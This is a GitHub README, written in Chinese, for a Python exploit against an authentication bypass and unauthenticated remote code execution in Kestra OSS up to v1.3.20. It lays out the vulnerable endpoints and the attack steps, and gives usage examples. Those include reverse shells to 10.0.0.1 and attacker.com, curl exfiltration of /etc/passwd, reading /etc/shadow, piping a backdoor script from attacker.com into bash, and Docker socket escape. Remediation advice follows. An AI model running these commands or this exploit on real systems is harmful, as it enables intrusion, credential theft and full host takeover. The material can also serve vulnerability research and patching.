TamatahYT/CVE-2026-53576

GitHub: TamatahYT/CVE-2026-53576

针对 Kestra OSS ≤ v1.3.20 版本身份验证绕过导致未授权 RCE 漏洞(CVE-2026-53576)的 Python 利用工具。

Stars: 0 | Forks: 0

# Kestra 未授权 RCE 漏洞利用 (CVE-2026-53576)
[![Python](https://img.shields.io/badge/Python-3.6+-blue.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/License-MIT-red.svg)](LICENSE) [![Security](https://img.shields.io/badge/Security-Research-orange.svg)](https://github.com) [![Kestra](https://img.shields.io/badge/Kestra-1.3.20+-purple.svg)](https://kestra.io) **严重的身份验证绕过导致未授权远程代码执行** [漏洞利用](#-exploit-usage) • [漏洞详情](#-vulnerability-details) • [影响](#-impact) • [修复方案](#-remediation)
## ⚠️ 免责声明 ## 📋 目录 - [概述](#-overview) - [漏洞详情](#-vulnerability-details) - [漏洞利用用法](#-exploit-usage) - [安装说明](#-installation) - [示例](#-examples) - [影响](#-impact) - [修复方案](#-remediation) - [时间线](#-timeline) - [参考资料](#-references) - [许可证](#-license) ## 🔍 概述 **CVE-2026-53576** 是 Kestra OSS 至 v1.3.20 版本中存在的一个严重漏洞,允许通过绕过身份验证过滤器进行**未授权远程代码执行**。 ### 关键信息 | 属性 | 值 | |-----------|-------| | **CVE ID** | CVE-2026-53576 | | **严重程度** | **严重 (9.8 CVSS)** | | **漏洞类型** | 身份验证绕过 + RCE | | **受影响产品** | Kestra OSS | | **受影响版本** | ≤ v1.3.20 | | **攻击媒介** | 网络 | | **需要身份验证** | 否 | | **用户交互** | 无 | ## 🚨 漏洞详情 ### 根本原因 Kestra 中的身份验证过滤器包含一个严重的逻辑缺陷: ``` // Vulnerable code in AuthenticationFilter.java:53 boolean isConfigEndpoint = request.getPath().endsWith("/configs") ``` 这会检查**任何** API 请求是否以 `/configs` 结尾,而不是匹配确切的路由。这使得攻击者可以通过在任何 endpoint 后附加 `/configs` 来绕过身份验证。 ### 漏洞利用步骤 1. **创建恶意 flow** → `POST /api/v1/main/flows/configs`(绕过身份验证) 2. **触发执行** → `POST /api/v1/main/executions/configs/configs`(绕过身份验证) 3. **以 root 身份运行命令** → 完全控制系统 ### 易受攻击的 Endpoint ``` # 任何以 /configs 结尾的路径都会绕过 authentication /api/v1/main/flows/configs # Create flows /api/v1/main/executions/configs/configs # Execute flows /api/v1/{tenant}/flows/configs # Any tenant /api/v1/{tenant}/executions/configs/configs # Any tenant ``` ## 💻 漏洞利用用法 ### 基本用法 ``` python3 kestra_exploit.py ``` ### 高级用法 ``` # 自定义 port python3 kestra_exploit.py 192.168.1.100 -p 8080 # HTTPS python3 kestra_exploit.py 192.168.1.100 --https # 自定义 command python3 kestra_exploit.py 192.168.1.100 -c "whoami && hostname" # 检查 Docker socket 访问权限 python3 kestra_exploit.py 192.168.1.100 --docker-check # exploitation 后进行清理 python3 kestra_exploit.py 192.168.1.100 --cleanup # 包含所有 options 的完整攻击 python3 kestra_exploit.py 192.168.1.100 -p 8080 --docker-check --cleanup -c "id > /tmp/proof.txt" ``` ### 命令选项 | 选项 | 描述 | |--------|-------------| | `target` | 目标 IP 地址或主机名(必填) | | `-p, --port` | 端口(默认:8080) | | `--https` | 使用 HTTPS 而不是 HTTP | | `-c, --command` | 要执行的自定义命令 | | `--docker-check` | 检查 Docker socket 访问权限 | | `--cleanup` | 漏洞利用完成后删除 flow | | `--delay` | 请求之间的延迟(默认:2s) | ## 📦 安装说明 ### 环境要求 ``` pip install requests ``` ### 克隆仓库 ``` git clone https://github.com/yourusername/CVE-2026-53576 cd CVE-2026-53576 ``` ### 验证安装 ``` python3 kestra_exploit.py --help ``` ## 🎯 示例 ### 示例 1:基本漏洞利用 ``` python3 kestra_exploit.py 192.168.1.100 ``` **输出:** ``` ============================================================ Kestra Unauthenticated RCE Exploit Security Research Tool - Authorized Use Only! ============================================================ [*] Target: 192.168.1.100:8080 [*] Protocol: http ============================================================ [Step 1] Creating malicious flow... [*] Creating malicious flow at http://192.168.1.100:8080/api/v1/main/flows/configs [*] Command: id > /tmp/proof.txt; cat /etc/shadow | head -1 >> /tmp/proof.txt [+] Flow created successfully! (Status: 200) [+] Flow revision: 26 [Step 2] Triggering execution... [*] Triggering execution at http://192.168.1.100:8080/api/v1/main/executions/configs/configs [+] Execution triggered successfully! [+] Execution ID: 4nxNTHPk2WInfrnxQa6KF2 [+] Status: CREATED [Step 3] Checking execution status... [+] Execution status: SUCCESS [*] Final status: SUCCESS [+] Exploitation complete! [*] To verify the attack succeeded, check the target system for: - /tmp/proof.txt containing command output - Kestra UI execution logs - Web UI: http://192.168.1.100:8080/ui/ ``` ### 示例 2:反弹 Shell ``` python3 kestra_exploit.py 192.168.1.100 -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1" ``` ### 示例 3:数据窃取 ``` python3 kestra_exploit.py 192.168.1.100 -c "curl -X POST http://attacker.com/exfil -d @/etc/passwd" ``` ### 示例 4:Docker 逃逸检查 ``` python3 kestra_exploit.py 192.168.1.100 --docker-check --cleanup ``` ## 💥 影响 ### 直接影响 | 类别 | 严重程度 | 描述 | |----------|----------|-------------| | **机密性** | ⚠️ 严重 | 读取任意文件(密码、密钥、配置) | | **完整性** | ⚠️ 严重 | 创建/修改/删除 flow 和数据 | | **可用性** | ⚠️ 高 | 关闭系统,耗尽资源 | | **身份验证** | ⚠️ 严重 | 完全绕过 Basic-Auth | | **权限提升** | ⚠️ 严重 | 命令以 root (uid=0) 身份运行 | | **容器逃逸** | ⚠️ 严重 | 通过 Docker socket 控制宿主机 | ### 攻击能力 未经身份验证的攻击者可以: 1. **以 root 身份执行任意命令**: # 读取密钥 cat /app/conf/application.yml # 反弹 shell bash -i >& /dev/tcp/attacker.com/4444 0>&1 # 安装恶意软件 curl http://attacker.com/backdoor.sh | bash 2. **跳板攻击宿主机系统**(如果挂载了 Docker socket): docker run -v /:/host --privileged alpine chroot /host 3. **访问云元数据**(如果在云服务商上): curl http://169.254.169.254/latest/meta-data/ ## 🛡️ 修复方案 ### 立即采取的行动 1. **关闭易受攻击的实例**: sudo systemctl stop kestra 2. **阻止公开访问**: iptables -A INPUT -p tcp --dport 8080 -j DROP 3. **应用防火墙规则**: - 限制为内部网络访问 - 使用 VPN 进行管理访问 ### 彻底修复 1. **将 Kestra 更新**至最新的修复版本: - 关注:https://github.com/kestra-io/kestra - 检查:https://github.com/kestra-io/kestra/security/advisories/GHSA-2q47-568g-9h4f 2. **实施适当的身份验证**: - 使用 OAuth2/OIDC 代替 Basic Auth - 启用多因素身份验证 3. **容器加固**: - 以非 root 用户运行 - 不要挂载 `/var/run/docker.sock` - 使用只读根文件系统 4. **网络加固**: - 使用具有适当路由的 API 网关 - 实施 WAF 规则 - 启用请求验证 ## 📅 时间线 | 日期 | 事件 | |------|-------| | 2026-05-26 | 发现漏洞 | | 2026-06-03 | 发布 Kestra 安全公告 | | 2026-06-10 | 分配 CVE-2026-53576 | | 2026-06-15 | 公开披露 | | 2026-08-01 | 发布 PoC | ## 📚 参考资料 - [Kestra 安全公告 GHSA-2q47-568g-9h4f](https://github.com/kestra-io/kestra/security/advisories/GHSA-2q47-568g-9h4f) - [Huawei PSIRT](https://www.huawei.com/en/psirt/report-vulnerabilities) - [CVE-2026-53576 详情](https://nvd.nist.gov/vuln/detail/CVE-2026-53576) - [OWASP Top 10 - 失效的访问控制](https://owasp.org/Top10/A01_2021-Broken_Access_Control/) ## 📄 许可证 ``` MIT License Copyright (c) 2026 Security Researcher Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ``` ## 🙏 致谢 - Kestra 团队的安全公告 - 披露此漏洞的安全研究人员 - 开源安全社区
**⚠️ 负责任地使用 ⚠️** [报告漏洞](https://github.com/security/advisories) • [安全政策](SECURITY.md) • [联系方式](mailto:security@example.com)
标签:CISA项目, Python, 无后门, 编程工具, 身份验证绕过, 远程代码执行, 逆向工具